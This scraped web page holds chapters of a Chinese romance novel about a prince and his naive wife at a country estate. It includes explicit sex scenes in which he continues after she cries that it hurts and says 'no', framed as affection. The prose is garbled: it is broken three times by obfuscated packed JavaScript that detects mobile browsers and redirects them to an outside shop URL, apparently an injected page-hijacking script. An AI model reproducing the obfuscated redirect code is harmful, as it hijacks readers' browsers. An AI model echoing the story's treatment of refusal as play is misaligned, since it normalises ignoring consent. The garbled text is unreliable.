“可是我没有审理你呀,我就是想知道你的事情而已,你不愿意说嘛?” “读书时认识的。” “你从前也念书的吗?我还以为皇子可以不读书直接做官呢。” “不识字如何做官?” 她若有所思:“那也是,那你现在在做什么官?” 封肆微顿,含糊道:“跟刑部的差不多,都是审理犯人。外面没什么吵闹声了,应该是出城了。” 柳娆往外看一眼,瞧瞧两旁的麦田,感慨一声,又继续问:“那你岂不是天天都要和坏人在一块儿?会不会受伤呀?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128513|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不会,你不用操心我,你好好在家里待着就好。” “可是我是担心你嘛,你怎么一点儿也不领情?” 封肆赶紧哄:“没有不领情,那些事复杂扰人,说了你也不明白,你何必要操这个心呢?整日高高兴兴的,不好吗?” 柳娆抿了抿唇,耷拉着脑袋:“噢。” “乖媚儿,我就想你能快快乐乐的,外面的事有我在,你负责吃喝玩乐就好。你不是喜欢衣裳首饰?去琢磨这些就好,往后你每个月想要多少的零花?二十两?五十两?” “五十两?”柳娆眼睛瞬间亮了。 “不够?”封肆挑眉。 柳娆连连点头:“够了够了够了,够我买好多首饰和衣裳了。” “衣裳和首饰也可以单独让府中的人去采买,这些银子是你的零花,可以拿去买些别的。” “天啊,那我根本就花不完呐。” “花不完就攒着。” 她高兴的往后一倒,举着手指掰着算:“那我一个月五十两,一年就能攒六百两,几年之后我都可以在京城买个大宅子了,我的天啊,那我太有钱了。” “你想买宅子?看上哪处的宅子了?我给你买就是。” “小四!”她凑过去,掰着他的脑袋亲,“你真是太好啦!” 封肆稍稍往后躲:“脖子要被你扭断了,坐好,很快就到了。” “好!”柳娆笑眯眯给他揉揉脖子,安安静静坐在他的腿上,枕在他的肩上,随着马车轻晃,抵达郊外庄园。 天晴得正好,她跳下马车,一路小跑进庄园,这里瞧瞧那里看看。庄子里的风光与王府大不相同,四处都是水榭花草,一进门便是满满当当她的荷花池,她不肯走游廊,非要坐小舟往里摇。 “小四!你看!好多好多荷花!”她伸手将花枝够来,一把薅掉,放在鼻子下深深吸了一口,“真香啊。” 封肆看着她那夸张的模样,嘴角忍不住咧开:“这么香?” “当然啦。”她塞去他的鼻子底下,“我们今晚用这个洗澡吧,洗完肯定香香的。” 封肆心头微动:“我们直接去汤泉,如何?” “好哇!”她踢了鞋袜,小心翼翼伸出足尖,探入水中,惊叫一声,“好凉!” 封肆从身后环抱住她,低声在她耳旁问:“好玩吗?” “好玩!那里还有莲蓬,我要摘莲蓬!”她指挥着船夫靠近荷花深处,摘了一船的莲蓬,兴高采烈一个个剥开,往自己嘴里塞一颗,又往封肆嘴里塞一颗。 夏日,轻薄的衣衫挽起,封肆斜靠在船上,心不在焉地看着她衣衫下滑腻的肌肤。 “我一颗,你一颗……啊!”她的手腕突然被抓住,猝不及防倒进前方的怀抱中。 封肆喉头微动,在她耳旁哑声道:“消停会儿。” 她一头雾水:“我什么也没做呀?我一直都在剥莲子。” 封肆将她打横抱起,跨下小舟,径直抵达汤泉,将她往岸上的竹椅上一放,湿热的吻落在她的脖颈上,单手散开她粉绿色的夏衣。 32. 第 32 章 她呼吸一紧,怔怔看他许久,紧紧抱住他的腰,仰着脖颈喘气:“好痒……” “何处痒?”封肆咬住她脖颈上的软肉轻吮。 眨眼之间,她那粉绿色的衣裙飘进荷花池中,与满池荷花碧叶融为一体,还未绽放的花苞在池中轻轻摇曳,一朵又一朵在她白皙的肌肤上绽放。 盛夏的燥热将她包围,热得她的脑中晕晕乎乎,什么也想不起来,直至刺痛感陡然袭来,她浑身一凛,蒙着水雾的眼眸立即清澈:“疼!” 封肆单手将她的手腕按在头顶,低声道:“不会疼太久。” 她瞪大双眼,不可思议:“你骗人!什么叫不会疼太久?明明就很疼!” “昨晚我是不是让你为所欲为了?现下轮到你了,听话,不要乱动,放松下来,不会太疼,你越挣扎越疼。” “我不要!你没说过!你松开我!”她手脚都被按住,像条鱼似的乱打挺。 封肆却将她抱得更紧,咬着牙道:“乖媚儿,别再勾引我了,我真要控制不住,恐怕真会弄伤你。” “谁勾引你了!”她放声哭嚎,“你这个坏人,你弄疼我了,你根本就不是真心喜欢我的,我不要跟你好了!好疼啊,娘,我好疼啊!” 封肆的心被她喊得纠起,松开她的手,捧着她的脸胡乱啄吻:“宝贝,我不是故意弄疼你的,别哭了,很快就不疼了。” “你骗人!”她胡乱挣扎,张牙舞爪,指甲滑过他的脸,留下一条扎眼的伤痕。 封肆眉头一紧,又将那双手困在怀中,咬着牙往前挤,可人又哭又闹,原本的湿热变得干燥难行,连他自己都觉得疼,他实在没办法,只能撤退。 竹席上的人还在喃喃哭喊:“疼,好疼……” 封肆亲亲她的脸颊,将她搂进怀里:“媚儿,别哭了,你方才还在说我好,还说爱我的。” 她吸着鼻子,瘪着嘴:“我现在不爱你了。” 封肆笑着低头,蹭蹭她的鼻尖:“你变心变得怎么这么快?我可要伤心了。” “你先变心,先弄疼我的。” “就因为此事,你就不爱我了?我从前为你做的事都不算数了?” “对!”她生气扭开。 封肆弯腰,在她嘴唇上啄吻,低声勾引:“宝贝。” 她屏息躲:“不亲不亲。” “乖宝贝。”封肆扶着她的后颈,温热的气息在她脸颊上轻轻流动,掌心悄悄往下溜。 她嘤咛一声,满是泪痕的脸颊又红扑扑,颤着声音问:“你的手、手,别摸那里……” “哼哼什么?难受?”封肆避而不答,手仍旧作乱。 “不、不是……”她伸着脖子,又是嘤咛,浑身忍不住轻颤,咬着唇喊,“小四……” 封肆贴着她的脸颊,轻声回应:“嗯。” 她紧紧抓着他的手臂,哑声道:“不要。” “什么不要?” “不要进去。”她推他的手。 “又不疼,为何不能?乖媚儿,不舒服吗?” 她难受得厉害,脸埋在他的胸膛里,一步步上了他的钩,同样的刺痛传来时,她正飘飘欲仙,还没有来得及喊疼,便被人扣去身前。 “呃!”她惊呼一声,呆呆躺在他的手臂中,蹙着眉,随波逐流。 她不说话,封肆也不说话,只是将她整个搂在怀里,不停疼爱。她怔愣许久,闭着眼伏在他肩头,小声喘气。阵阵荷香飘来,她闭着眼,脑中一片酥麻,恍惚似乎到了仙境,一阵阵云雾翻滚,□□,久久不能回神。 温暖的汤泉水从她的后颈落下,一路暖到腰后,她静静伏在那炙热的胸膛,眼前仍旧无法清晰。 封肆盯着她看了许久,没见她有反应,有些慌神:“媚儿?” 她呆滞的眼瞳转动,朝他看来。 封肆心中稍安,轻轻拍拍她的背:“疼吗?” 她轻哼一声,目光落去别处。 “疼不疼?媚儿?” “你这会儿才来问,有什么用?”她哑着嗓子道。 封肆抚抚她的后背:“若是疼得厉害,便尽早看大夫。我方才没太用力,大概没有太疼?” 她一口咬在他的肩上。 封肆倒吸一口冷气,捉住她的后颈将她拎起:“属狗的?” “你才是属狗的!你先弄疼我的。”她不服气。 “真有那样疼?我方才听你叫得挺欢的,我怕你不好意思才没戳破你。” “哼!”她又在他脸上咬一口,“就是疼!这会儿还疼,我看见了!你都给我弄出血了,你真是个混蛋!” 封肆忍俊不禁:“媚儿现下是我的人了,往后我会对媚儿更好。” 她被哄得高兴,弯眉飞扬,抿住翘起的嘴角,往他肩上一歪,小声哼哼:“可是真的好疼的,我腿都合不拢了。” 封肆咽了口唾液:“我给你看看?” “噢。”她面颊微烫。 封肆将她打横抱起,看着水面下被折腾的红肿,目光越来越幽暗,指尖忍不住又探去。 她警觉,一把按住他的手:“干什么?” 封肆沉声道:“我看看里面破了没有。” “噢。”她将信将疑松手,猝不及防被人又按去腿上,惊呼一声,扭头要跑。 封肆手一伸,将她捞回,按住她的小腹,借着温热的汤泉长驱直入,忍不住喟叹一声。 她也哼一声,哭丧着脸:“你说你只看看的。” 封肆咬着她的耳垂:“谁叫你勾引我?” “我没有勾引你。”她欲哭无泪,“明明就是你自己有邪念,还怪在我头上。” “宝贝,你没有邪念吗?”封肆手下一拧。 她圆润的眼珠子都快瞪出来,惊叫连连,吵得两岸的荷花都忍不住颤。 封肆低笑着蹂躏:“舒不舒服?媚儿?” 她从来没有体会过这样汹涌的感觉,颤得眼泪都迸出,沙哑的嗓音中带着哭腔:“不要拧那颗小珠子。” “难受?” “不知道……呜呜呜……”她突然又哭起来。 封肆皱了皱眉,抬头去看:“怎么了?哭什么?我现下总没弄疼你。” 她大哭:“太舒服了,我受不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“媚儿。”封肆笑着抚摸她的脸颊,忍不住在她脸颊一下又一下啄吻,“乖媚儿,好乖。” 她刚哭过,眼眸还有些红,眼瞳却越发透明清澈,像一对毫无瑕疵的琉璃珠,一眨不眨地看着他。 封肆心都要化了,生怕自己坚硬的手臂勒到她,恨不得化成一朵轻飘飘软绵绵的云,将她轻轻托着,轻轻包裹。 “屁股疼。”她小声道。 “屁股疼?”封肆一脸疑惑。 柳娆脸颊微红,小声嘟囔:“就是那里疼,你给我撑坏了,我感觉它再也合不上了。” “坏不了,睡一觉就好了。”封肆安抚,“疼得厉害吗?” 她点点头,又摇摇头:“有一点点疼,一动就疼,我走不了路了。” “我跟你保证,睡一觉,明天起来就会好。” “噢,我饿了。” 封肆将她抱起,裹上一张毯子,赤足穿过飘满荷香的游廊,跨入岸边的房屋中,在竹榻坐下,给她套好寝衣,将她的长发简单束起,双手搂着她,将侍女送来的虾剥好,送进她口中。 她嚼一嚼:“还挺好吃的。” 封肆笑问:“不闹脾气了?” 她脑袋一扭:“哼。” 33. 第 33 章 “嗯?”封肆又剥好一只,送到她嘴边。 她一口接下,哼哼几声:“我还没原谅你呢。” “还没原谅我?那要如何才能原谅?” “你故意弄疼我,我现在还疼,我才不要原谅你呢。” “你不是说只有一点点疼吗?” “一点点疼也不行。”她伸着脖子去咬他的鼻尖,“你喜欢我,就一点点也不能弄疼我。” 封肆笑道:“好。” 她顿了顿,小声问:“你以后不会都要这样弄我吧?” 封肆垂首,在她耳旁悄声道:“别说这么勾引人的话,我怕一会又忍不住想要你。” 她脖子一缩:“我没勾引你!” “你说这么直白的话就是在勾引我。” “那我不这么说,还能怎么说?你简直是强词夺理!” 封肆低笑,胸腔微微震动,还不忘自己给她剥虾,送去她口中:“宝贝太可爱了,你说什么我都想要你。” 她双眸震惊,抱臂转头,脸气得鼓起来。 封肆凑过去,低声道:“这样也可爱。” “混蛋混蛋混蛋!”她气得双手挥舞,往他身上乱招呼。 封肆结结实实挨了好几下,一把捉住她的手腕,塞进怀里,温声教训:“不许打人。” 她撅了撅嘴,不服气:“哼!” “尝尝新煮的莲子羹,清凉解暑。”封肆舀一勺汤羹,轻轻吹了吹,送进她口中,“暑气已至,热不热?若是热,我便叫人送些冰块来。” “不热,莲子羹好喝,我要自己喝。” 封肆笑了笑,将碗递给她。 她双手举起,咕噜咕噜一口气喝完,嘴沾一圈汤渍,感慨一声:“真好喝。” 封肆心头微动,偏头,垂首,吻掉她嘴角的甜汤。 她大惊失色,连忙抬手,正手一抹,反手一抹,两把就将嘴擦得干干净净,惊叫道:“碗里还有啊,你、你要喝就说呀,我会给你盛的,你这是干嘛呀!” 封肆笑得直不起腰,重重在她嘴上亲一口:“我不喝,你自己喝吧。” 她奇怪看他一眼,又抹了抹嘴,警惕盯他片刻,舀两勺,捧着碗又一口喝完:“真好喝。” 封肆抬手。 柳娆立即往后一闪,舀一碗,递给他:“你喝吧。” 封肆笑着喝一口,敲敲她的头:“你这个小脑瓜里在想什么呢?” “你才奇怪呢。”她嘀咕一句,起身要走,微微裂痛感传来,她又一屁股坐回去,恼道,“屁股疼,你抱我。” 封肆挑眉:“吃好了?” 她嘴一撅:“被你气得吃不下了。” “真吃不下了?天不早了,你这会儿不吃,一会儿饿了可没得吃。” “我真吃好了。” 封肆净完手,抱着她跨入卧房,将她放下:“睡吧,天不早了。” 她没说话,拿着枕头垫去背下。 封肆莫名:“这是做什么?” “她们说枕头垫在腰下会怀孕,那我垫在背下肯定就不会怀孕了,我还不想生宝宝呢。” 封肆被逗笑:“我方才都给你洗干净了,你垫哪里都不影响,若是没洗干净,你垫背下也没用。” 她眉头一皱:“那要怎么才有用?” 封肆坐下:“洗干净就好,我方才不是给你洗干净了吗?你都还是个宝宝呢,我怎么舍得让你现在就生?” “真的?”她欣喜抱住他的脖颈,在他脸上啵唧两口,“小四,你真好。” 封肆搂着她躺下,随意闲话:“为何不想生孩子,怕疼?” 她扭了扭,寻了个舒服的姿势卧在他的臂弯中,闭着眼道:“生了孩子,就得照顾他,我还没玩够呢。” 封肆笑着在她额头上轻吻:“无妨,我不着急要孩子,你玩几年再说吧。” “那可太好啦……”她打了个哈欠,声音越来越小,酣然入梦。 天光大亮,一夜无梦,她睁眼,对上封肆的目光,抿着唇笑一笑,钻进他怀里。 封肆嘴角微扬,悄声问:“还疼不疼?” 柳娆一怔,如梦初醒,往后退几步,起身跨过他,在地上走了两圈,眼眸微转:“还好。” “过来。”封肆朝她招招手。 “做什么?”她高高兴兴蹦过去,被他搂住的那一刻,突然刹住,警觉道,“干什么?” 封肆的下唇蹭过她的耳垂:“不是不疼了吗?” 她眉头一皱,连忙往后躲:“我饿了,我要吃饭,而且,我们还没有洗漱呢!” 封肆笑着松手:“这么害怕?” 她抿了抿唇,快步跑远:“我没害怕。” 封肆不紧不慢起身,随意系上寝衣,跟在她身后:“那为何跑得这样快?都不疼了,你还不愿意,你不爱我了。” 她一噎,双手举起帕子胡乱抹脸,小声反驳:“我没有不爱你,我只是、只是……” “只是什么?”封肆停在她身后,双手圈住她,浑身的热气往她身上涌,“你说清楚,我才好有所改进。” 她浑身一凛,趁他不注意,身子一矮,从他手臂下溜走,迈着小碎步匆匆朝衣柜去:“我不喜欢那样。” 封肆又跟上:“为何不喜欢?” “我……”她苦恼一阵,叉着腰又道,“不喜欢就是不喜欢,哪里有什么为什么?” “你不说,就只能证明你是在敷衍我,你不爱我了。” 柳娆脸又苦起来,抓耳挠腮道:“哎呀,你这个人怎么这么难说明白呢?” 封肆按捺住笑意:“你还没说,就说和我说不明白?” “哎呀!”她重重叹息一声,脚尖碾着地,难为情道,“可是你太用力了,我受不了嘛。” 封肆忍不住低笑。 柳娆气鼓鼓瞪他一眼:“你笑什么?我说认真的。” 他上前几步,腿往她身旁的脚凳上一踩,扶着她的后颈,在她额头上轻吻:“知道了。” 柳娆歪着头:“嗯?” “去收拾。”封肆揉揉她的脑袋,“不是要去看小鹿?收拾好就去。” 她眨眨眼:“不弄啦?” 封肆捏捏她的脸:“你想?” 她连连摇头:“不不不,我要去看小鹿,走走走。” 封肆笑着跟在她身后,跟着她从洗漱间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138105|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,到起居室,沿着满是荷花的小径前行,抵达大片青葱的草地,两只小鹿正在草地里悠闲吃草。 柳娆瞧见小鹿,眼一下亮起来,欢腾奔去,满头碎发迎风飞舞,高呼着:“小鹿!好可爱啊!” 两头鹿吓得一抖,分头逃走,她扑了个空,急急刹住,顶着竖起的碎发愣愣看去:“诶?它们怎么都跑了?” 封肆不紧不慢跟上,孔雀蓝的长袍随风微微轻漾:“要是有个陌生人朝你大喊大叫跑来,你也得逃。” 柳娆眉头紧皱着,却无话可说,小声嘀咕:“噢。” “来。”封肆笑着朝她伸手,牵着她朝饲养小鹿的侍女去,要一把果子,向跑远的鹿缓步而去。 草场有围栏,小鹿跑不远,吃着草,悠哉悠哉又走回来,封肆递出一颗果子,它们立即缓缓走来,争先恐后地接下。 “嗯?”封肆将果子朝她递去。 她弯起唇,高兴接过,两只手抓得满满当当,一起伸出去,哪一只都不冷落,开心哄:“都慢慢吃,别着急。” 封肆目光落在她的脸上,嘴角总扬着,接来侍女递来的手帕,将手擦净,又落去她肩上:“喜欢?” 她双眸看着小鹿,一闪不闪,连连点头:“嗯!” 封肆朝侍女使了个眼神,侍女立即呈上装食物的托盘,她又抓满满两把,乐此不疲朝小鹿喂去:“吃吧吃吧。” 很快,那一盘食物耗尽,封肆试探:“喂好了吧?” “还没呢,它们没吃饱,还在舔我手心呢,你再让人去拿些吃的,我还要喂它们。” 封肆无奈点点头,朝侍女吩咐:“给鹿拿些口粮来,再将几案都搬来。” 他有一种预感,他今日一整日都要在这里度过。 侍女将几案摆好,他立即坐下,斜靠在软垫上,斟两盏茶,朝人看去:“坐着喂吧。” “不要。”柳娆正在跟两头小鹿友好交流中。 “站着不累吗?” “不累不累,你自己坐着就好,不用管我。” 封肆悄自叹息一声,无奈看着。 午时,日光越来越烈,人还站在日光底下,两只鹿被她喂得肚皮都鼓起来,封肆忍不住又开口:“太阳大了,回来坐着,别晒伤了。” 她头也没回一下:“它们还没吃好呢。” 封肆朝侍女看一眼:“给王妃多撑几柄伞。” 那两只鹿明显吃饱了,懒洋洋地趴在草地上,嘴如何都不肯再张开,柳娆往将果子往它们嘴上怼,将它们惹烦了,它们懒洋洋起身要走。 “诶诶!”她喊两声,抓着果子追上去,举着伞的侍女也赶忙跟上,总预料不了她的方向,伞总遮不住她。 封肆站起望去,皱着眉喊:“你让人将鹿拴起来不就行了?” “噢噢。”柳娆立即将果子兜进怀里,握着鹿颈上的皮圈拉着它们往回走,可那两只鹿吃饱,一点不搭理她了。 封肆重重叹息一声,大步走近,将两只鹿拽回来,拴在伞盖下的地桩上:“好了,别往太阳下去了。” 她眨眨眼,一脸崇拜地看着他,在他脸上亲一口:“小四,你好厉害啊,你一来它们就听话了!” 34. 第 34 章 封肆有些无奈,嘴角却忍不住扬起,又往软垫上一靠:“洗洗手去用午膳吧。” “不不,我不饿。”她蹲在地上,又将果子往鹿嘴上怼。 “你不饿,它们也不饿,你看不出来它们不想吃了?起来,洗洗手,歇一会儿。” “可是它们没吃多少啊。” “你已经喂它们吃了好几筐果子了,怎么会没吃饱?你看它们肚子撑的,再吃都要撑死了,赶紧起来吧,地上多脏。” 柳娆叹息:“好吧,那我给它们梳毛吧。” 封肆嘴角微抽:“你还真是有劲儿,将来万一咱们沦落了,你也饿不死,还能去养殖。” “沦落了?”柳娆脑袋一转,“为什么会沦落?咱们家是不是出什么事了?” “没什么事,玩你的吧。” 她点点头,继续拿着毛抓顺着小鹿的头往背上刷,那两头鹿刚吃饱,这会又有人伺候挠痒,舒服得眼睛都眯起来。 封肆看不下去:“你有这个劲儿,怎么不来给我挠挠?” “啊?你身上也痒吗?” 封肆沉默片刻:“对。” 柳娆想了想:“那要不你去洗澡吧?可能是你昨晚没洗干净。” 封肆眼前一黑:“行了,玩你的吧,你玩累了喊我,我睡一会儿。” 他往下躺了躺,眼上遮一只手帕,听着毛抓的呼呼声,安然入眠。没过多久,柳娆那张软乎乎的脸突然凑近,落下一道阴影,他睁眼,迷惑看去。 “不玩了?”他问。 “我一个人好无聊,你陪我一起给它们梳毛吧,刚好你一只,我一只。” 封肆扶了扶额:“要不先去用午膳?” “可是我还不饿嘛,你饿吗?” “我饿。” “那我先陪你去吃饭,然后你再陪我来给它们梳毛吧。” 封肆深吸一口气:“宝贝,你喜欢给他们刷毛,你自己给他们刷就好。” 柳娆看着他:“你不喜欢吗?” 他和她对视片刻,痛定思痛,果断道::“不喜欢。” “可是我很喜欢,你不能陪我吗?” “可我不喜欢。” 柳娆眼眸动动,身子一转,往他身上软去:“我要你陪我嘛,你又没什么事要做,躺在这里也是睡觉而已,为什么不能陪我,你不爱我了。” 他有些头疼:“你自己玩不成吗?” “可是我就想和你一起嘛。”柳娆赖在他身上,蹭来蹭去,扭来扭去,一会又在他身上转圈,裙摆转进他的腿中,露出光洁的腿。 他按了按眉心:“让侍女陪你玩……” “不嘛。”柳娆的脑袋从他手臂下钻出,脸颊蹭着他的脸,眼睛眨巴眨巴,“我就想你陪我嘛,小四,你陪我~” 封肆的脑子被吵得嗡嗡响,很快,终于坐不住,皱着眉起身:“好好好,别吵了。” 她抱住他的腰,抬着头笑眯眯看他:“嘿嘿,你愿意陪我了,是吗?” 封肆垂眸看着她咧开的嘴,无奈弯唇:“给我拿一个抓子去。” “唔唔!太好咯!”她欢天喜地,手舞足蹈,欢快奔去拿一个毛抓,又欢快跑回,塞进封肆手中,拉着他一起蹲去鹿旁,拿着毛抓一下下给小鹿抓痒。 那两头鹿享受得很,口中还发出些呼噜声,封肆听得来气,柳娆却是兴致勃勃。 “它们好乖啊,还会呼噜呼噜。” “你给我挠,我也能呼噜。” “真的?”她举起毛抓。 封肆看着那铁抓,脖子往后缩了缩:“不用,我又没毛。” 柳娆眨眨眼:“你有啊。” 封肆一把捂住她的嘴:“别乱说!” 她眼珠转动,疑惑挠挠脸:“我没乱说啊,你的头发不是毛吗?” 封肆嘴角一抽:“是是是,你继续。” 柳娆弯着眼往他肩上一靠:“我真幸福啊。” 他哼笑。 “你不幸福吗?” “幸福,还能学一门手艺。”他拿着毛抓胡乱给鹿挠。 柳娆笑着亲他一口,下巴放在他的肩上:“小四,你真好。” 他悄自叹息:“什么时候能挠完?” “再挠一百下吧,再挠一百下咱们就去休息。” “什么?”封肆眉头紧皱。 柳娆严肃道:“你连这点苦都不能吃,往后还想以此为生?” 封肆好笑:“我方才跟你说笑呢,咱们不至于沦落至此,你不必如此认真。” “噢。”她不假思索,“那你也要梳一百下。” 封肆深吸好几口气才按住脾气:“我不想梳。” “你想。”柳娆抱着他的肩,在他脸上蹭来蹭去,“小四,你想嘛,我们来比谁梳得快。” 封肆眉头微动:“赢了的人有什么奖励?” 柳娆思考一阵:“嗯……还要奖励吗?给它们梳毛本身就是奖励啊?” 封肆垂首,在她耳旁悄声道:“你要是输了,今晚就和我洞房。” 她眼睛一圆,还没反应过来,唰唰声便响起来,她看身旁的人片刻,听着报数声,慌忙拿起毛抓呼呼往鹿背上刷。 很快,封肆报到一百,扔下毛抓,朝她看来:“媚儿,你输了。” 她瘪了瘪嘴,手下的毛抓都慢慢停下。 封肆笑着看她:“愿赌服输。” 她一下就蔫儿了,闷闷不乐耷拉着头:“噢。” 封肆净完手,牵过她的手,拿着湿帕子将她的双手擦净,将她打横抱起:“走了,回去歇着。” 她嘴瘪得更厉害,看着要哭了。 封肆低头蹭蹭她的鼻尖,悄声问:“这么不情愿?你要我和你一起伺候鹿,我可是都答应你了。” “你欺负我。”她小声嘀咕。 “你方才还欺负我了呢。”封肆咬住她的耳垂,“晚上让你在上面,你不是挺喜欢在上面?” 她眼睛眨巴眨巴:“我在上面?” 封肆挑眉:“不愿意?” 她眼珠子滴溜溜转一圈,重重点头:“好。” 封肆将人往上抛了抛,吓得人紧紧抱住他的脖颈,他稳稳抱住她,扬唇大步往前。 她几乎是和鹿滚在一起了,身上全是鹿和青草的气味,封肆拿着澡豆给她搓了半晌,才将那股味道洗净,她自己也嗅嗅,满意点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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封肆看着她的背影,笑着追上去:“这么光溜溜跑出去,当心被人撞见。” 她绕着柱子躲:“我要先吃饭!” “吃饭就吃饭,我又不会饿着你,你怕什么?”封肆穿过竹帘,笑着去捉她。 她又躲:“我不信,你明明很着急的样子。” 封肆绕着柱子追:“哪里着急?” 柳娆眼眸垂垂示意。 “能忍住的。”封肆双臂一伸,将她搂进怀里,低头与她耳鬓厮磨,轻声道,“先吃饭,想吃什么?” 她抿了抿唇:“真的?” “真的。”封肆随手拿起寝衣,将她包裹住,牵着她往前走,“想吃什么?” 她迟疑片刻,双手抱住他的腰,倚着他走:“想吃小羊羔,那种很嫩很嫩肥瘦相间的,要煎着吃,还想吃葡萄和蜜瓜。” 封肆在她额头上亲了亲:“好。” 她踮起脚尖,在他脸上回亲一口,弯着唇道:“小四,我走不动了,你抱我。” 35. 第 35 章 “方才陪鹿玩时那样有劲,现下又走不动了?”封肆调侃着,将她抱起,“玩高兴了吗?” 她靠在他肩上,指尖戳戳他的耳垂:“我想将那两只小鹿带回咱们家去。” “这里也是我们的家,你要是想养,来这里就好,王府里没有适合养它们的地方。” “那你能把它们送给我吗?” “你是王妃,是这里的女主人,这里的一切都是你和我的,它们自然也都是你的,你想如何处置就如何处置。” 柳娆灿然一笑,在他脸上重重亲一口:“小四,你太好了,我太爱你了。” 他扬着唇道:“你就只是嘴上的爱。” “怎么就只是嘴上的爱了,我心里也好爱好爱你的。” “那要你为我做些什么呢?” “做些什么?”柳娆望着天,绞尽脑汁思索许久,遗憾道,“我好像没什么可以为你做的诶,你已经是王爷了,要什么有什么,也不需要我做什么,既然如此,也不能算是我的错。” 封肆气笑了:“你真是能自说自话,去让侍女给你擦头。” “不要,我要你给我擦。”她紧抱住他的脖子,不肯落地。 封肆叹息一声,抱着她在梳妆台前坐下,拿着帕子将她湿漉漉的发梢绞干净,拍拍她的屁股:“好了,起来。” 她还是不肯动,赖在他的肩上:“不要,你抱我去吃饭。” “走也不肯走,那你长腿做什么的?”封肆在她小腿肚子上捏捏。 她嘿嘿乱笑,垂在他臂弯里的两条腿轻晃:“可是我想你抱我嘛,小四,我好爱好爱你噢。” 封肆知道她只是嘴上说说,可心里还是高兴得紧:“好了,知道了,别嚎了,下来坐好。” 她笑眯眯坐下,接过碗筷,夹一块羊肉,高兴咀嚼:“这么快就做好了,真好吃啊,小四,你也吃一块。” 封肆接过,却道:“好了,你吃自己的就好。” “可我想喂你嘛,你刚才还说我只会嘴上说爱你,现在又不要我表现,明天别又怪我。” “我眼下能吃能喝的,不用你伺候,什么时候我老了,你来照顾我,才是真的用心。” “那肯定的呀,你要是老了,咬不动肉了,我肯定嚼碎了喂你,你放心吧!” 封肆一噎:“当我没说。” 柳娆凑去他眼前,歪着脑袋看他:“为什么呀?我愿意照顾你,你不是应该很开心才对嘛?” 他瞥她一眼:“开心,快吃饭吧。” “你也吃。”柳娆在他碗里堆起一座小菜山,乐呵呵将一碗米饭吃得干干净净,又喝下满满一碗汤,擦擦嘴,双手撑着脸,晃悠着腿,看着他。 他目不斜视,想当做没瞧见,却总也忍不住在她哼哼的小曲儿中渐渐弯唇。 “别盯着我看了,吃好了。”他起身要走。 “你还没擦嘴呢。”柳娆跟上去,夺过他手中的帕子,胡乱将他的薄唇擦净,又端一盏茶水奉上。 “我自己来。”他要接过茶盏。 “诶诶!”柳娆将他拦住,“我喂你。” 他无奈喝一口茶水,转身要吐时,柳娆又接过侍女手中的痰盂,捧到他跟前。 “吐吧。” 他看她片刻,生怕茶水溅到她,弯着背,小心翼翼将茶水吐进痰盂中:“放下吧。” 柳娆在他嘴上亲一口,笑着抱住他的腰。 他弯了弯唇,将人抱起,往卧房走:“香露是不是还没抹完?我继续给你抹。” 被指尖剐蹭的感觉一瞬间又涌回脑中,柳娆挣扎几下,连连摇头:“不不不,抹完了。” “抹完了?我怎么记得腿上还没抹?”封肆单手拿起那些瓶瓶罐罐,从中寻到茉莉花露,倒在掌心中,往她腿上抹去。 她咽了口唾液,起身要走,腰被按住,靠坐在他腿中动弹不得。 封肆越抹越不对劲,她立即收回挂在他腿上的小腿,封肆双腿一张,将她按得死死的:“别动。” 她咽了口唾液,忍不住瑟缩:“痒。” 身后的人似乎未听见,低头在她脖颈上亲吻:“好香。” 她气息越发不稳,连连挣扎:“你放我下来,你说让我在上面的!” “急什么?我都没急,不给你弄弄,一会疼了又要哭。”封肆将她的腰箍得更紧一些,“舒不舒服?” 她眉头紧皱着,唇也咬着,浑身紧绷着,未回答。 封肆轻柔地吻又落在她脸上:“为何这样紧绷着?害羞?还是紧张?乖媚儿,告诉我,好不好?” 她抿了抿唇,小声回答:“害羞,也紧张。” “来。”封肆松手,将她搂进怀里,轻声细语,“为何紧张?你不喜欢我吗?” 她抱住他的肩,躲在他怀里,抬眸看着他:“就算是喜欢你,我也会紧张的呀,你被人触碰那种地方,不会紧张吗?” 封肆扬唇:“可我又不是外人,我不是你夫君吗?” “噢。”她眼眸轻动,“可是我还是会害羞呀。” “那是我们接触太少了,等接触多了,你就不会害羞了。”封肆低头,触碰她的唇,“亲我。” 她顿了顿,轻轻含住他的唇,像吃桂花糖那样,轻轻吮吸,冰凉的扳指触碰到她腿上的肌肤,她微微一抖,却没有阻拦,只是闭着眼继续吃她的桂花糖,直到上下都逼得她无法顺利呼吸,她紧紧抓着他的肩,抵在他的肩头小口喘气。 封肆没有出声,感受着她的心跳,她的呼吸,她的颤抖,轻轻抚摸着她的后背,一下一下,轻轻安抚。 